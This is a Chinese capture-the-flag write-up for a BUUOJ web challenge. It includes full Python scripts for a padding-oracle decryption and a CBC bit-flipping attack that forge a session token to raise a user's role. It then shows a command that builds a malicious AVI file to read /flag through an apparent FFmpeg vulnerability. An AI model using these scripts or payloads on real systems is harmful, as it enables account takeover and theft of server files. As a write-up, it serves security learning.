打开是一个登录界面, 访问robots.txt, 发现一个html, 里面是很多api
然后使用postman注册一下
提示注册成功, 但是缺无法登录~~
提示权限不足~~
我们看了一下请求
向login发请求后返回的是
{"code":100,"data":{"token":"eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVSHNGUVI0bG41VkZDOUwwOWVjaGtZaFRXUWdpd1pvaGoyN0pXdDk4LysxWjZsY3ZSbnFBWVpSQmF6Y2UrNVg3dFJJNkdsa3JDVUtaby9qNzJxdnE5TjRHZVNpc2ozQlZZWXZ0OFkzVkZQd2t0SUR5c21DSk10SjdFQWtZSDVTRS93PT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoxLCJwYXlsb2FkIjoiTFQ0NXNSOU5SMWpxR0ZsWWJtMUxzeDhWM2l1NEpQT3YiLCJleHBpcmVfaW4iOjE1ODA2Njg5NTF9"}}
向info请求的头中
Cookie: Key=eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVSHNGUVI0bG41VkZDOUwwOWVjaGtZaFRXUWdpd1pvaGoyN0pXdDk4LysxWjZsY3ZSbnFBWVpSQmF6Y2UrNVg3dFJJNkdsa3JDVUtaby9qNzJxdnE5TjRHZVNpc2ozQlZZWXZ0OFkzVkZQd2t0SUR5c21DSk10SjdFQWtZSDVTRS93PT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoxLCJwYXlsb2FkIjoiTFQ0NXNSOU5SMWpxR0ZsWWJtMUxzeDhWM2l1NEpQT3YiLCJleHBpcmVfaW4iOjE1ODA2Njg5NTF9
请求后返回的是
{"code":100,"data":{"user_role":3,"uid":1}}
token解码一下看看
{"signed_key":"SUN4a1NpbmdEYW5jZVJhUHsFQR4ln5VFC9L09echkYhTWQgiwZohj27JWt98/+1Z6lcvRnqAYZRBazce+5X7tRI6GlkrCUKZo/j72qvq9N4GeSisj3BVYYvt8Y3VFPwktIDysmCJMtJ7EAkYH5SE/w==","role":3,"user_id":1,"payload":"LT45sR9NR1jqGFlYbm1Lsx8V3iu4JPOv","expire_in":1580668951}
sign_key解码看看
ICxkSingDanceRaP{A%Ÿ•EÒôõç!‘ˆSY"Áš!nÉZß|ÿíYêW/Fz€a”Ak7û•ûµ:Y+ B™£øûÚ«êôÞy(¬pUa‹íñÕü$´€ò²`‰2Ò{ ”„ÿ
这个一看就是CBC加密的特征~~(我也是猜的)
贴出解密的脚本
#!/usr/bin/python2.7
# -*- coding:utf8 -*-
import requests
import base64
import json
host = "25d045c0-f1c9-4a30-b4c2-2cafd48f8f63.node3.buuoj.cn" #url
port = 80 #port
def xor(a, b):
return "".join([chr(ord(a[i]) ^ ord(b[i % len(b)])) for i in range(len(a))])
def padoracle(key):
user_key_decode = base64.b64decode(key)
user_key_json_decode = json.loads(user_key_decode)
signed_key = user_key_json_decode['signed_key'] # CBC加密后的密文,包括VI
signed_key_decoed = base64.b64decode(signed_key) # base64解密
url = "http://" + host + "/frontend/api/v1/user/info"
N = 16 # 分组的大小,可以是16,也可以是8
total_plain = ''
for block in range(0, int(len(signed_key) / 16) - 3):
token = ''
get = ""
cipher = signed_key_decoed[16 + block * 16:32 + block * 16]
for i in range(1, N + 1):
for j in range(0, 256):
token = signed_key_decoed[block * 16:16 + block * 16]
padding = xor(get, chr(i) * (i - 1))
c = (chr(0) * (16 - i)) + chr(j) + padding + cipher
token = base64.b64encode(token + c) #解密后重新传参
user_key_json_decode['signed_key'] = token
header = {'Key': base64.b64encode(json.dumps(user_key_json_decode))} #浏览器传送的参数
res = requests.get(url, headers=header)
if res.json()['code'] != 205: # 这里的状态码由浏览器决定~~ 这里的205表示解密失败
get = chr(j ^ i) + get
break
plain = xor(get, signed_key_decoed[block * 16:16 + block * 16])
total_plain += plain
return total_plain
plain_text = padoracle("eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVRm1zclQ3a2FGM1FXL29vWDdVcVRpZ215TVl5MFFZK1RlSzMya3hGZW94ay9ZNnkzaG0vaEJXK2lMaXVLdnNNS1NPK1ZQQ0pGSTdPbHJTL0dsYThWWmh1Y3p2NSs4djNXckNJSE5TbVJOS2xBRjREdlI2bDBSbFVaajB6WjgzWGlBPT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoxLCJwYXlsb2FkIjoid2x1NUUwN1piR3pUNDVRUEhORzVReUpQT2UyNjUwalgiLCJleHBpcmVfaW4iOjE1NTY4NTM2Mzh9")
###整体的base64,浏览器返回的密文~~
print(plain_text)
伪造的脚本
#!/usr/bin/python2.7
# -*- coding:utf8 -*-
import requests
import base64
import json
host = "8601fdaa-b01c-4126-8df2-9ff82b5ba25f.node3.buuoj.cn" # url
def cbc_attack(key, block, origin_content, target_content): #第一个参数表示整个base64, 第二个参数表示需要伪造的明文在第几块, 第三个参数表示需要伪造那块的原明文,第四个参数表示需要需要伪造的明文
user_key_decode = base64.b64decode(key)
user_key_json_decode = json.loads(user_key_decode) #base64解密后是一个json格式的字符串
signed_key = user_key_json_decode['signed_key'] #加载出密文(包括VI)
cipher_o = base64.b64decode(signed_key) #base64解密密文
if block > 0:
iv_prefix = cipher_o[:block * 16]
else:
iv_prefix = ''
iv = cipher_o[block * 16:16 + block * 16]
cipher = cipher_o[16 + block * 16:]
iv_array = bytearray(iv)
for i in range(0, 16):
iv_array[i] = iv_array[i] ^ ord(origin_content[i]) ^ ord(target_content[i]) # $New_ct[1] = $Old_ct[1] ^ $Old_pt[2] ^ $New_pt[2];
iv = bytes(iv_array)
user_key_json_decode['signed_key'] = base64.b64encode(iv_prefix + iv + cipher) #将伪造后的密文base64加密后替换原来的密文
return base64.b64encode(json.dumps(user_key_json_decode)) #将json变成字符串,然后再base64加密
def get_user_info(key):
r = requests.post("http://" + host + "/frontend/api/v1/user/info", headers = {"Key": key})
if r.json()['code'] == 100:
print(u"获取成功!")
return r.json()['data']
def modify_role_palin(key, role): #这里是因为要求把密文改了,对应的明文也要改,随题目的要求而定~~
user_key_decode = base64.b64decode(user_key)
user_key_json_decode = json.loads(user_key_decode)
user_key_json_decode['role'] = role
return base64.b64encode(json.dumps(user_key_json_decode))
print(u"翻转 Key:")
user_key = cbc_attack("eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVSHNGUVI0bG41VkZDOUwwOWVjaGtZaFRXUWdpd1pvaGoyN0pXdDk4LysxWk8zOVFWdmRPVzFIYjRkcjFQQTVyNUtGdTNRdTdGNVZHMUJPZVR2SzlWaXpaL2tuQmZpMDUvdDVKTVpoOWdlZkZhQXVRL3B1NkRqbVJkbzhjTVR1Vmt3PT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoxLCJwYXlsb2FkIjoiRmNNT2QzWHZQbzI4VTdhazZ1bXRZb0FjWWZtdjREWjUiLCJleHBpcmVfaW4iOjE1ODA4MDk5MDN9", 0, '{"role":3,"user_', '{"role":1,"user_')
user_key = modify_role_palin(user_key, 1) # 随题目而定~~
print(user_key)
print(u"测试拉取用户信息:")
user_info = get_user_info(user_key) #验证是否伪造成功,状态码随题目而定~~
print(user_info)
这两个脚本都是赵师傅的脚本~~
链接
改完后把新的密文作为key访问, 刷新页面, 成功登录, 发现音频上传的功能.看赵师傅wp说上传不同类型的文件然后下载上传的文件, 对比上传前后文件的md5值发现对avi文件有进行处理, 这个姿势学到了.
我们发现对avi文件有处理
推测其后端利用了 FFMpeg
对视频文件做处理,那么就尝试利用 FFMpeg 的漏洞来读取文件。这里我们使用 https://github.com/neex/ffmpeg-avi-m3u-xbin/blob/master/gen_xbin_avi.py
来生成 payload
执行如下命令
python3 gen_xbin_avi.py file:///flag test.avi
意思是再处理视频时将/flag的内容放在视频的第一帧
然后我们上传我们处理过的视频,再下载处理后的视频~~
第一帧就可以看到flag